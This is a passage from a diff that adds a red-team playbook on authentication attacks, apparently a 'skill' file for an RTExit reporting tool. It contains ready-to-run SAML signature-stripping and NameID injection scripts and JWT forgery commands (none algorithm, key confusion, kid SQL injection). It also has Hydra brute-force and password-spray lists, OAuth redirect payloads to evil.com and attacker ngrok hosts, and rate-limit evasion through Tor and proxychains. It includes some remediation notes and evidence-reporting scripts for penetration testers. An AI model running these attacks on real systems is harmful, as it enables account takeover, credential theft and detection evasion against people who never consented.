1188
+ # Original NameID: user@target.com
1189
+ # Injected NameID: admin<!--user@target.com-->@target.com
1190
+
1191
+ original_b64 = "PASTE_SAML_RESPONSE_HERE"
1192
+ response_xml = base64.b64decode(original_b64)
1193
+
1194
+ # String manipulation approach (bypasses lxml's comment stripping)
1195
+ xml_str = response_xml.decode()
1196
+ xml_str = xml_str.replace(
1197
+ '<saml:NameID>user@target.com</saml:NameID>',
1198
+ '<saml:NameID>admin<!--user@target.com-->@target.com</saml:NameID>'
1199
+ )
1200
+
1201
+ modified_b64 = base64.b64encode(xml_str.encode()).decode()
1202
+ print(modified_b64)
1203
+ EOF
1204
+ ```
1205
+
1206
+ #### 3.6.4 SAML Signature Bypass (Invalid Signature)
1207
+
1208
+ ```bash
1209
+ # Test if the SP validates signatures at all
1210
+ # Decode the SAMLResponse, modify attributes, re-encode WITHOUT valid signature
1211
+
1212
+ python3 - <<'EOF'
1213
+ import base64
1214
+ from lxml import etree
1215
+
1216
+ original_b64 = "PASTE_SAML_RESPONSE_HERE"
1217
+ response_xml = base64.b64decode(original_b64)
1218
+ root = etree.fromstring(response_xml)
1219
+
1220
+ NS = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
1221
+ 'ds': 'http://www.w3.org/2000/09/xmldsig#'}
1222
+
1223
+ # Remove the signature entirely
1224
+ for sig in root.findall('.//ds:Signature', NS):
1225
+ sig.getparent().remove(sig)
1226
+
1227
+ # Modify the NameID to a privileged account
1228
+ for nameid in root.findall('.//saml:NameID', NS):
1229
+ nameid.text = 'admin@target.com'
1230
+
1231
+ # Modify role attributes
1232
+ for attr in root.findall('.//saml:Attribute[@Name="role"]', NS):
1233
+ for val in attr.findall('saml:AttributeValue', NS):
1234
+ val.text = 'admin'
1235
+
1236
+ modified_xml = etree.tostring(root)
1237
+ modified_b64 = base64.b64encode(modified_xml).decode()
1238
+ print(f"No-signature payload:\n{modified_b64}")
1239
+ EOF
1240
+ ```
1241
+
1242
+ ---
1243
+
1244
+ ## 4. Specific Terminal Commands Reference
1245
+
1246
+ ### JWT Tool Master Reference
1247
+
1248
+ ```bash
1249
+ # Install jwt_tool
1250
+ git clone https://github.com/ticarpi/jwt_tool
1251
+ cd jwt_tool && pip3 install -r requirements.txt
1252
+
1253
+ # Basic decode
1254
+ python3 jwt_tool.py TOKEN
1255
+
1256
+ # Scan all vulnerabilities against target
1257
+ python3 jwt_tool.py TOKEN -t https://target.com/api/profile \
1258
+ -rh "Authorization: Bearer *TOKEN*" -M at
1259
+
1260
+ # None algorithm attack
1261
+ python3 jwt_tool.py TOKEN -X a
1262
+
1263
+ # RS256 to HS256 confusion
1264
+ python3 jwt_tool.py TOKEN -X k -pk /tmp/public.pem
1265
+
1266
+ # Crack HS256 secret
1267
+ python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
1268
+
1269
+ # Inject claim and sign with known secret
1270
+ python3 jwt_tool.py TOKEN -I -pc role -pv admin -S hs256 -p "secret"
1271
+
1272
+ # Kid path traversal
1273
+ python3 jwt_tool.py TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
1274
+
1275
+ # Kid SQL injection
1276
+ python3 jwt_tool.py TOKEN -I -hc kid -hv "' UNION SELECT 'hack'-- -" -S hs256 -p "hack"
1277
+
1278
+ # JKU injection (point to your own JWKS)
1279
+ python3 jwt_tool.py TOKEN -X j
1280
+
1281
+ # X5U injection
1282
+ python3 jwt_tool.py TOKEN -X x
1283
+
1284
+ # Embed JWK
1285
+ python3 jwt_tool.py TOKEN -X e
1286
+
1287
+ # Modify claim in payload
1288
+ python3 jwt_tool.py TOKEN -T # interactive tamper mode
1289
+
1290
+ # Verify JWT against JWKS
1291
+ python3 jwt_tool.py TOKEN -V -jw /tmp/jwks.json
1292
+
1293
+ # Output modes
1294
+ python3 jwt_tool.py TOKEN -M pb # playbook mode (all attacks)
1295
+ ```
1296
+
1297
+ ### Hydra Command Reference
1298
+
1299
+ ```bash
1300
+ # HTTP POST with CSRF token (static)
1301
+ hydra -L users.txt -P pass.txt target.com \
1302
+ http-post-form "/login:user=^USER^&pass=^PASS^&token=STATIC:Invalid" \
1303
+ -t 4 -w 3 -f
1304
+
1305
+ # HTTP GET form
1306
+ hydra -L users.txt -P pass.txt target.com \
1307
+ http-get-form "/login?user=^USER^&pass=^PASS^:Invalid" -t 4
1308
+
1309
+ # JSON body POST
1310
+ hydra -L users.txt -P pass.txt -s 443 -S target.com \
1311
+ http-post-form '/api/login:{"email":"^USER^","password":"^PASS^"}:{"error":' \
1312
+ -t 4 -H "Content-Type: application/json"
1313
+
1314
+ # Multiple failure strings
1315
+ hydra -L users.txt -P pass.txt target.com \
1316
+ http-post-form "/login:u=^USER^&p=^PASS^:F=wrong:F=invalid:F=error" -t 4
1317
+
1318
+ # Success string (look for positive match)
1319
+ hydra -L users.txt -P pass.txt target.com \
1320
+ http-post-form "/login:u=^USER^&p=^PASS^:S=Welcome" -t 4
1321
+
1322
+ # With proxy (route through Burp)
1323
+ hydra -L users.txt -P pass.txt target.com \
1324
+ http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" \
1325
+ -t 4 -o results.txt
1326
+
1327
+ # Verbose output for debugging
1328
+ hydra -L users.txt -P pass.txt -V -d target.com \
1329
+ http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
1330
+ ```
1331
+
1332
+ ### Python Requests Authentication Testing
1333
+
1334
+ ```python
1335
+ import requests
1336
+ from requests.exceptions import RequestException
1337
+
1338
+ # Session-based login with CSRF token handling
1339
+ session = requests.Session()
1340
+ session.headers.update({
1341
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
1342
+ })
1343
+
1344
+ # Get CSRF token
1345
+ login_page = session.get('https://target.com/login')
1346
+ # Parse CSRF token (adjust selector as needed)
1347
+ from html.parser import HTMLParser
1348
+ class CSRFParser(HTMLParser):
1349
+ def __init__(self):
1350
+ super().__init__()
1351
+ self.csrf = None
1352
+ def handle_starttag(self, tag, attrs):
1353
+ attrs_dict = dict(attrs)
1354
+ if tag == 'input' and attrs_dict.get('name') in ['csrf_token', '_token', 'authenticity_token']:
1355
+ self.csrf = attrs_dict.get('value')
1356
+
1357
+ parser = CSRFParser()
1358
+ parser.feed(login_page.text)
1359
+ csrf_token = parser.csrf
1360
+
1361
+ # Submit login
1362
+ response = session.post('https://target.com/login', data={
1363
+ 'username': 'admin',
1364
+ 'password': 'Password1!',
1365
+ 'csrf_token': csrf_token
1366
+ }, allow_redirects=False)
1367
+
1368
+ print(f"Status: {response.status_code}")
1369
+ print(f"Location: {response.headers.get('Location', 'N/A')}")
1370
+ print(f"Set-Cookie: {response.headers.get('Set-Cookie', 'N/A')}")
1371
+ ```
1372
+
1373
+ ---
1374
+
1375
+ ## 5. Common Payloads and Examples
1376
+
1377
+ ### JWT Payload Manipulation Targets
1378
+
1379
+ ```json
1380
+ // Role escalation
1381
+ {"role": "admin"}
1382
+ {"role": "superadmin"}
1383
+ {"role": ["admin", "superuser"]}
1384
+ {"is_admin": true}
1385
+ {"admin": 1}
1386
+ {"permissions": ["read", "write", "admin"]}
1387
+
1388
+ // Identifier manipulation
1389
+ {"sub": "1"}
1390
+ {"user_id": 1}
1391
+ {"uid": 0}
1392
+ {"id": "00000000-0000-0000-0000-000000000001"}
1393
+
1394
+ // Scope expansion
1395
+ {"scope": "admin read write delete"}
1396
+ {"scope": ["admin", "read", "write"]}
1397
+
1398
+ // Token metadata
1399
+ {"exp": 9999999999}
1400
+ {"iat": 1000000000}
1401
+ {"nbf": 0}
1402
+ ```
1403
+
1404
+ ### Password Spray Candidates
1405
+
1406
+ ```
1407
+ # Seasonal passwords
1408
+ Spring2024! Summer2024! Autumn2024! Winter2024!
1409
+ Spring2025! Summer2025! Autumn2025! Winter2025!
1410
+
1411
+ # Common patterns
1412
+ Password1! Password123! Password@123
1413
+ Welcome1! Welcome@2024
1414
+ Admin2024! Admin@123
1415
+ Company2024! CompanyName1!
1416
+
1417
+ # Default credentials
1418
+ admin:admin admin:password admin:admin123
1419
+ root:root root:toor root:password
1420
+ guest:guest test:test demo:demo
1421
+
1422
+ # Cloud default credentials
1423
+ Administrator:Welcome1 administrator:Admin123!
1424
+ ```
1425
+
1426
+ ### OAuth Bypass Payloads
1427
+
1428
+ ```
1429
+ # redirect_uri bypass patterns
1430
+ https://target.com/callback/../evil
1431
+ https://target.com/callback.evil.com
1432
+ https://target.com/callback%0d%0aLocation:%20https://evil.com
1433
+ https://evil.com@target.com/callback
1434
+ https://target.com@evil.com/callback
1435
+ https://target.com/callback?redirect=https://evil.com
1436
+ javascript://target.com/%0aalert(1)
1437
+
1438
+ # state parameter CSRF
1439
+ (omit state entirely)
1440
+ state= (empty)
1441
+ state=null
1442
+ state=undefined
1443
+ ```
1444
+
1445
+ ### SAML Injection Payloads
1446
+
1447
+ ```xml
1448
+ <!-- NameID injection -->
1449
+ <saml:NameID>admin@target.com</saml:NameID>
1450
+ <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@target.com</saml:NameID>
1451
+
1452
+ <!-- Role injection -->
1453
+ <saml:Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/role">
1454
+ <saml:AttributeValue>admin</saml:AttributeValue>
1455
+ </saml:Attribute>
1456
+
1457
+ <!-- Group injection -->
1458
+ <saml:Attribute Name="groups">
1459
+ <saml:AttributeValue>admin</saml:AttributeValue>
1460
+ <saml:AttributeValue>Domain Admins</saml:AttributeValue>
1461
+ </saml:Attribute>
1462
+ ```
1463
+
1464
+ ---
1465
+
1466
+ ## 6. Real-World Examples from Actual Engagements
1467
+
1468
+ ### Engagement 1: SaaS Platform JWT Algorithm Confusion
1469
+
1470
+ **Scenario:** A B2B SaaS platform used RS256 JWTs for API authentication. The JWKS endpoint was publicly accessible.
1471
+
1472
+ **Attack Chain:**
1473
+ 1. Discovered JWKS endpoint at `/.well-known/jwks.json`
1474
+ 2. Extracted RSA public key (2048-bit)
1475
+ 3. Converted JWK to PEM format
1476
+ 4. Used `jwt_tool -X k` to forge an HS256 token signed with the public key
1477
+ 5. Modified `role` claim from `user` to `admin`
1478
+ 6. API accepted the forged token — full admin access achieved
1479
+
1480
+ **Impact:** Access to all customer data, billing, and admin configuration endpoints.
1481
+
1482
+ **Remediation:** Hardcode the expected algorithm server-side; never accept the algorithm from the token itself.
1483
+
1484
+ ---
1485
+
1486
+ ### Engagement 2: OAuth redirect_uri Open Redirect Chain
1487
+
1488
+ **Scenario:** An e-commerce platform implemented SSO login. The OAuth redirect_uri validation allowed any path under `target.com`.
1489
+
1490
+ **Attack Chain:**
1491
+ 1. Found open redirect at `https://target.com/goto?url=https://evil.com`
1492
+ 2. Crafted OAuth authorization URL:
1493
+ `https://auth.target.com/authorize?client_id=xxx&redirect_uri=https://target.com/goto?url=https://attacker.ngrok.io&response_type=code`
1494
+ 3. Sent the link to a support agent (social engineering)
1495
+ 4. Support agent clicked the link while logged in
1496
+ 5. Authorization code was delivered to attacker's ngrok endpoint
1497
+ 6. Exchanged code for access token
1498
+ 7. Used access token to access support agent's account
1499
+
1500
+ **Impact:** Account takeover of support staff, access to customer PII.
1501
+
1502
+ ---
1503
+
1504
+ ### Engagement 3: MFA Bypass via Response Manipulation
1505
+
1506
+ **Scenario:** A healthcare portal used SMS OTP for MFA. The OTP validation happened client-side with server confirmation.
1507
+
1508
+ **Attack Chain:**
1509
+ 1. Obtained valid credentials via phishing simulation
1510
+ 2. After password submission, intercepted the MFA request in Burp
1511
+ 3. Submitted OTP `000000` (wrong code)
1512
+ 4. Intercepted the JSON response: `{"verified": false, "token": null}`
1513
+ 5. Modified response to: `{"verified": true, "token": "CAPTURED_FROM_EARLIER"}`
1514
+ 6. Forwarded modified response — application accepted it and granted access
1515
+
1516
+ **Impact:** Full account access bypassing MFA protection entirely.
1517
+
1518
+ ---
1519
+
1520
+ ### Engagement 4: SAML XSW on Enterprise SSO
1521
+
1522
+ **Scenario:** An enterprise web application used SAML SSO integrated with Azure AD.
1523
+
1524
+ **Attack Chain:**
1525
+ 1. Captured a valid SAML assertion for a low-privilege user account
1526
+ 2. Used SAMLraider to apply XSW2 variant
1527
+ 3. Inserted an evil assertion with `role=admin` before the original assertion
1528
+ 4. The application's SAML parser read the first assertion (evil) while the signature validated the second (original)
1529
+ 5. Logged in as admin without any admin credentials
1530
+
1531
+ **Impact:** Full administrative access to the enterprise application.
1532
+
1533
+ ---
1534
+
1535
+ ### Engagement 5: JWT kid SQL Injection
1536
+
1537
+ **Scenario:** A fintech API used JWTs with a `kid` claim to select signing keys from a MySQL database.
1538
+
1539
+ **Attack Chain:**
1540
+ 1. Decoded JWT header: `{"alg": "HS256", "kid": "key-prod-1"}`
1541
+ 2. Injected SQL into kid: `' UNION SELECT 'mykey'-- -`
1542
+ 3. Signed token with `mykey` as the HMAC secret
1543
+ 4. API verified token successfully — SQL injection forced it to use `mykey`
1544
+ 5. Modified payload: `{"sub": "1", "role": "admin"}`
1545
+
1546
+ **Impact:** Admin-level API access, access to all user financial data.
1547
+
1548
+ ---
1549
+
1550
+ ### Engagement 6: Race Condition OTP Bypass
1551
+
1552
+ **Scenario:** A banking application used 6-digit TOTP for transaction authorization.
1553
+
1554
+ **Attack Chain:**
1555
+ 1. Captured a pending transaction authorization request
1556
+ 2. Obtained the TOTP code from a test account
1557
+ 3. Sent 50 simultaneous POST requests using Python threading
1558
+ 4. 3 of the 50 requests succeeded (server processed them before marking OTP as used)
1559
+ 5. All 3 triggered the bank transfer
1560
+
1561
+ **Impact:** Demonstrated that a single TOTP code could authorize multiple transactions.
1562
+
1563
+ ---
1564
+
1565
+ ## 7. WAF Bypass Techniques
1566
+
1567
+ ### Hydra / Brute Force WAF Bypass
1568
+
1569
+ ```bash
1570
+ # Rotate user agents
1571
+ hydra -L users.txt -P pass.txt target.com http-post-form \
1572
+ "/login:user=^USER^&pass=^PASS^:error" \
1573
+ -t 1 -w 10 \
1574
+ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
1575
+
1576
+ # Use proxy chain to rotate IPs
1577
+ proxychains hydra -L users.txt -P pass.txt target.com \
1578
+ http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
1579
+
1580
+ # Add delays to avoid rate limiting
1581
+ hydra -L users.txt -P pass.txt target.com \
1582
+ http-post-form "/login:user=^USER^&pass=^PASS^:error" \
1583
+ -t 1 -W 30 # 30-second wait between attempts
1584
+
1585
+ # Rotate source IPs with Tor
1586
+ torsocks hydra -L users.txt -P pass.txt target.com \
1587
+ http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
1588
+ ```
1589
+
1590
+ ### JWT WAF Bypass
1591
+
1592
+ ```bash
1593
+ # Encode the token differently
1594
+ # Some WAFs block standard JWT patterns
1595
+
1596
+ # URL-encode the dots
1597
+ curl -H "Authorization: Bearer $(echo $TOKEN | sed 's/\./\%2E/g')" \
1598
+ https://target.com/api/profile
1599
+
1600
+ # Use different header casing
1601
+ curl -H "authorization: Bearer $TOKEN" https://target.com/api/profile
1602
+ curl -H "AUTHORIZATION: Bearer $TOKEN" https://target.com/api/profile
1603
+
1604
+ # Use token in query parameter (if application supports it)
1605
+ curl "https://target.com/api/profile?access_token=$TOKEN"
1606
+ curl "https://target.com/api/profile?jwt=$TOKEN"
1607
+ curl "https://target.com/api/profile?token=$TOKEN"
1608
+
1609
+ # Cookie-based token
1610
+ curl -H "Cookie: access_token=$TOKEN; jwt=$TOKEN; auth=$TOKEN" \
1611
+ https://target.com/api/profile
1612
+
1613
+ # Mixed case alg to confuse WAF but pass to parser
1614
+ # "HS256" -> "Hs256" -> "hS256" (depends on parser)
1615
+ ```
1616
+
1617
+ ### SAML WAF Bypass
1618
+
1619
+ ```bash
1620
+ # XML encoding bypass
1621
+ # Replace characters in the NameID with XML entities
1622
+ # admin -> &#97;&#100;&#109;&#105;&#110;
1623
+
1624
+ # Namespace confusion
1625
+ # Add unexpected namespaces to confuse WAF pattern matching
1626
+
1627
+ # Comment insertion
1628
+ # Insert XML comments between significant tokens
1629
+
1630
+ # CDATA wrapping
1631
+ # <saml:NameID><![CDATA[admin@target.com]]></saml:NameID>
1632
+
1633
+ # Whitespace injection
1634
+ # <saml:NameID> admin@target.com </saml:NameID>
1635
+ # Many parsers trim whitespace; WAF might not match with whitespace
1636
+
1637
+ # Unicode normalization
1638
+ # Use Unicode look-alike characters in NameID
1639
+ # (if the server normalizes Unicode before lookup)
1640
+ ```
1641
+
1642
+ ---
1643
+
1644
+ ## 8. Integration with RTExit Autodoc Engine
1645
+
1646
+ ### Autodoc Tagging
1647
+
1648
+ All findings should be tagged for the RTExit autodoc engine using the following format:
1649
+
1650
+ ```bash
1651
+ # In your notes or reporting scripts, use RTExit tags:
1652
+
1653
+ # FINDING: Authentication bypass via JWT algorithm confusion
1654
+ # SEVERITY: Critical
1655
+ # CVSS: 9.8
1656
+ # TECHNIQUE: rt-exploit-auth/jwt-algorithm-confusion
1657
+ # TOOL: jwt_tool
1658
+ # EVIDENCE: /tmp/findings/jwt_confusion_$(date +%Y%m%d_%H%M%S)/
1659
+ ```
1660
+
1661
+ ### Evidence Collection Script
1662
+
1663
+ ```bash
1664
+ #!/bin/bash
1665
+ # RTExit evidence collector for auth findings
1666
+
1667
+ ENGAGEMENT="ENG-2024-001"
1668
+ FINDING_ID="AUTH-001"
1669
+ EVIDENCE_DIR="/tmp/rtexit/${ENGAGEMENT}/${FINDING_ID}"
1670
+ mkdir -p "$EVIDENCE_DIR"
1671
+
1672
+ # Capture JWT finding evidence
1673
+ capture_jwt_finding() {
1674
+ local token="$1"
1675
+ local forged="$2"
1676
+ local description="$3"
1677
+
1678
+ echo "=== JWT Finding Evidence ===" > "$EVIDENCE_DIR/jwt_finding.txt"
1679
+ echo "Date: $(date -u)" >> "$EVIDENCE_DIR/jwt_finding.txt"
1680
+ echo "Original Token:" >> "$EVIDENCE_DIR/jwt_finding.txt"
1681
+ echo "$token" >> "$EVIDENCE_DIR/jwt_finding.txt"
1682
+ echo "" >> "$EVIDENCE_DIR/jwt_finding.txt"
1683
+ echo "Forged Token:" >> "$EVIDENCE_DIR/jwt_finding.txt"
1684
+ echo "$forged" >> "$EVIDENCE_DIR/jwt_finding.txt"
1685
+ echo "" >> "$EVIDENCE_DIR/jwt_finding.txt"
1686
+ echo "Description: $description" >> "$EVIDENCE_DIR/jwt_finding.txt"
1687
+
1688
+ # Save decoded tokens
1689
+ echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
1690
+ > "$EVIDENCE_DIR/original_payload.json"
1691
+ echo "$forged" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
1692
+ > "$EVIDENCE_DIR/forged_payload.json"
1693
+
1694
+ echo "[+] Evidence saved to $EVIDENCE_DIR"
1695
+ }
1696
+
1697
+ # Capture HTTP responses as evidence
1698
+ capture_response() {
1699
+ local url="$1"
1700
+ local headers="$2"
1701
+ local output_file="$EVIDENCE_DIR/response_$(date +%s).txt"
1702
+
1703
+ curl -v -H "$headers" "$url" 2>&1 | tee "$output_file"
1704
+ echo "[+] Response saved to $output_file"
1705
+ }
1706
+
1707
+ # Generate finding report snippet
1708
+ generate_finding_report() {
1709
+ cat > "$EVIDENCE_DIR/finding_report.md" << EOF
1710
+ ## Finding: ${FINDING_ID}
1711
+
1712
+ **Technique:** JWT Algorithm Confusion (RS256 -> HS256)
1713
+ **Severity:** Critical
1714
+ **CVSS Score:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
1715
+ **Engagement:** ${ENGAGEMENT}
1716
+
1717
+ ### Summary
1718
+ The application's JWT validation accepts the algorithm specified in the token header
1719
+ without validating it against the expected algorithm. By switching from RS256 to HS256
1720
+ and signing with the server's RSA public key as the HMAC secret, an attacker can forge
1721
+ arbitrary JWT tokens with elevated privileges.
1722
+
1723
+ ### Evidence
1724
+ - Original token: $(cat $EVIDENCE_DIR/jwt_finding.txt | grep "Original Token:" -A1 | tail -1)
1725
+ - Forged token: $(cat $EVIDENCE_DIR/jwt_finding.txt | grep "Forged Token:" -A1 | tail -1)
1726
+ - Server response: See response_*.txt files
1727
+
1728
+ ### Remediation
1729
+ 1. Hardcode the expected algorithm in the JWT verification configuration
1730
+ 2. Do not accept the algorithm from the token header
1731
+ 3. Use a well-maintained JWT library (e.g., python-jose, jsonwebtoken)
1732
+ 4. Validate the `alg` claim explicitly before signature verification
1733
+
1734
+ ### References
1735
+ - PortSwigger: https://portswigger.net/web-security/jwt/algorithm-confusion
1736
+ - RFC 7518: https://tools.ietf.org/html/rfc7518
1737
+ EOF
1738
+ echo "[+] Finding report saved to $EVIDENCE_DIR/finding_report.md"
1739
+ }
1740
+ ```
1741
+
1742
+ ### RTExit Autodoc Integration Commands
1743
+
1744
+ ```bash
1745
+ # Register a finding with RTExit
1746
+ rtexit finding add \
1747
+ --skill rt-exploit-auth \
1748
+ --technique jwt-algorithm-confusion \
1749
+ --severity critical \
1750
+ --evidence-dir /tmp/rtexit/ENG-001/AUTH-001
1751
+
1752
+ # Generate section in report
1753
+ rtexit report section auth \
1754
+ --engagement ENG-001 \
1755
+ --template auth-findings
1756
+
1757
+ # Attach screenshot evidence
1758
+ rtexit evidence attach \
1759
+ --finding AUTH-001 \
1760
+ --file /tmp/burp_screenshot.png \
1761
+ --caption "Burp Repeater showing admin access with forged JWT"
1762
+
1763
+ # Mark finding as verified
1764
+ rtexit finding verify AUTH-001 --verified-by "operator@team.com"
1765
+ ```
1766
+
1767
+ ---
1768
+
1769
+ ## 9. Output and Documentation Instructions
1770
+
1771
+ ### Evidence Capture Checklist
1772
+
1773
+ For every authentication finding, capture the following:
1774
+
1775
+ **JWT Findings:**
1776
+ - [ ] Original JWT (decoded header + payload)
1777
+ - [ ] Forged JWT (decoded header + payload showing modification)
1778
+ - [ ] HTTP request with forged token
1779
+ - [ ] HTTP response showing successful bypass
1780
+ - [ ] Screenshots of Burp Repeater
1781
+ - [ ] Public key used (if algorithm confusion)
1782
+ - [ ] Script/commands used to forge the token
1783
+
1784
+ **Password Attack Findings:**
1785
+ - [ ] List of credentials discovered (username:password pairs)
1786
+ - [ ] Hydra/Medusa output log
1787
+ - [ ] Confirmation of successful login (HTTP 302 or session token)
1788
+ - [ ] Evidence of lack of lockout (if applicable)
1789
+ - [ ] Number of attempts sent without lockout
1790
+
1791
+ **OAuth Findings:**
1792
+ - [ ] Original authorization URL
1793
+ - [ ] Modified authorization URL with bypass
1794
+ - [ ] Captured authorization code
1795
+ - [ ] Token exchange request/response
1796
+ - [ ] Confirmation of account access
1797
+
1798
+ **MFA Bypass Findings:**
1799
+ - [ ] Burp intercept of MFA request and modified response
1800
+ - [ ] Original and modified JSON
1801
+ - [ ] Confirmation of dashboard access without valid OTP
1802
+ - [ ] Session tokens obtained
1803
+
1804
+ **SAML Findings:**
1805
+ - [ ] Original SAML assertion (XML, formatted)
1806
+ - [ ] Modified SAML assertion (XML, formatted)
1807
+ - [ ] Base64 encoded payload sent
1808
+ - [ ] Application response confirming bypass
1809
+
1810
+ ### Documentation Format
1811
+
1812
+ ```markdown
1813
+ ## Authentication Finding: [SHORT TITLE]
1814
+
1815
+ **Date:** YYYY-MM-DD HH:MM UTC
1816
+ **Operator:** [Operator name/handle]
1817
+ **Target:** https://target.com
1818
+ **Endpoint:** /api/specific/endpoint
1819
+ **Technique:** [e.g., JWT Algorithm Confusion]
1820
+ **Severity:** [Critical/High/Medium/Low]
1821
+
1822
+ ### Steps to Reproduce
1823
+
1824
+ 1. [Exact step with commands]
1825
+ 2. [Exact step with commands]
1826
+ 3. [Confirm impact]
1827
+
1828
+ ### Evidence
1829
+
1830
+ ```http
1831
+ POST /api/login HTTP/1.1
1832
+ Host: target.com
1833
+ Authorization: Bearer [FORGED_TOKEN]
1834
+
1835
+ HTTP/1.1 200 OK
1836
+ {"status": "authenticated", "role": "admin"}
1837
+ ` ``
1838
+
1839
+ ### Impact
1840
+
1841
+ [Describe business impact]
1842
+
1843
+ ### Remediation
1844
+
1845
+ [Specific remediation steps]
1846
+ ```
1847
+
1848
+ ---
1849
+
1850
+ ## 10. Resources
1851
+
1852
+ ### JWT Tools and Libraries
1853
+
1854
+ - **jwt_tool** — Swiss army knife for JWT attacks
1855
+ https://github.com/ticarpi/jwt_tool
1856
+
1857
+ - **PyJWT** — Python JWT library (use for legitimate JWT generation)
1858
+ https://github.com/jpadilla/pyjwt
1859
+
1860
+ - **python-jose** — JOSE standards implementation
1861
+ https://github.com/mpdavis/python-jose
1862
+
1863
+ - **JWT.io** — Online JWT decoder and inspector
1864
+ https://jwt.io
1865
+
1866
+ - **PortSwigger JWT Labs** — Hands-on JWT attack practice
1867
+ https://portswigger.net/web-security/jwt
1868
+
1869
+ - **rsa_sign2n** — Derive RSA public key from two JWT tokens
1870
+ https://github.com/silentsignal/rsa_sign2n
1871
+
1872
+ ### OAuth / OIDC Tools
1873
+
1874
+ - **oauth2-proxy** — Reference implementation
1875
+ https://github.com/oauth2-proxy/oauth2-proxy
1876
+
1877
+ - **TokenSmith** — OAuth token manipulation tool
1878
+ https://github.com/TokenSmith/TokenSmith
1879
+
1880
+ - **PortSwigger OAuth Labs**
1881
+ https://portswigger.net/web-security/oauth
1882
+
1883
+ ### Password Attack Tools
1884
+
1885
+ - **Hydra** — Network login brute force tool
1886
+ https://github.com/vanhauser-thc/thc-hydra
1887
+
1888
+ - **Medusa** — Parallel network login auditor
1889
+ http://foofus.net/goons/jmk/medusa/medusa.html
1890
+
1891
+ - **Spray** — Smart password spraying tool
1892
+ https://github.com/Greenwolf/Spray
1893
+
1894
+ - **MSOLSpray** — Office 365 password sprayer
1895
+ https://github.com/dafthack/MSOLSpray
1896
+
1897
+ - **Kerbrute** — Active Directory brute force / spraying
1898
+ https://github.com/ropnop/kerbrute
1899
+
1900
+ - **SecLists** — Comprehensive wordlists collection
1901
+ https://github.com/danielmiessler/SecLists
1902
+
1903
+ - **CeWL** — Custom wordlist generator from web content
1904
+ https://github.com/digininja/CeWL
1905
+
1906
+ ### SAML Tools
1907
+
1908
+ - **SAMLraider** — Burp Suite SAML testing plugin
1909
+ https://github.com/CompassSecurity/SAMLRaider
1910
+
1911
+ - **SAMLTool** — Online SAML decoder and analyzer
1912
+ https://www.samltool.com
1913
+
1914
+ - **PortSwigger SAML Labs**
1915
+ https://portswigger.net/web-security/saml
1916
+
1917
+ - **pysaml2** — Python SAML2 library
1918
+ https://github.com/IdentityPython/pysaml2
1919
+
1920
+ ### MFA / OTP Tools
1921
+
1922
+ - **oathtool** — TOTP/HOTP command line tool
1923
+ https://www.nongnu.org/oath-toolkit/
1924
+
1925
+ - **Turbo Intruder** — High-speed Burp extension for race conditions
1926
+ https://github.com/PortSwigger/turbo-intruder
1927
+
1928
+ ### Key References and Reading
1929
+
1930
+ - JWT RFC 7519: https://tools.ietf.org/html/rfc7519
1931
+ - JWT Algorithms RFC 7518: https://tools.ietf.org/html/rfc7518
1932
+ - OAuth 2.0 RFC 6749: https://tools.ietf.org/html/rfc6749
1933
+ - PKCE RFC 7636: https://tools.ietf.org/html/rfc7636
1934
+ - OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
1935
+ - OWASP JWT Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
1936
+ - PortSwigger Web Security Academy: https://portswigger.net/web-security
1937
+ - HackTricks JWT Attacks: https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
1938
+ - HackTricks OAuth: https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
1939
+ - Auth0 Docs (understanding OAuth/OIDC): https://auth0.com/docs
1940
+ - NIST SP 800-63B (Digital Identity Guidelines): https://pages.nist.gov/800-63-3/sp800-63b.html
1941
+
1942
+ ### CVEs Related to JWT Libraries
1943
+
1944
+ - CVE-2015-9235 — jsonwebtoken none algorithm bypass
1945
+ - CVE-2016-10555 — jwt-simple algorithm confusion
1946
+ - CVE-2018-0114 — Cisco JWT none algorithm
1947
+ - CVE-2020-28042 — python-jwt algorithm confusion (RS/HS)
1948
+ - CVE-2022-21449 — Java ECDSA "Psychic Signatures" (Java 15-17)
1949
+ - CVE-2022-23529 — jsonwebtoken signature validation bypass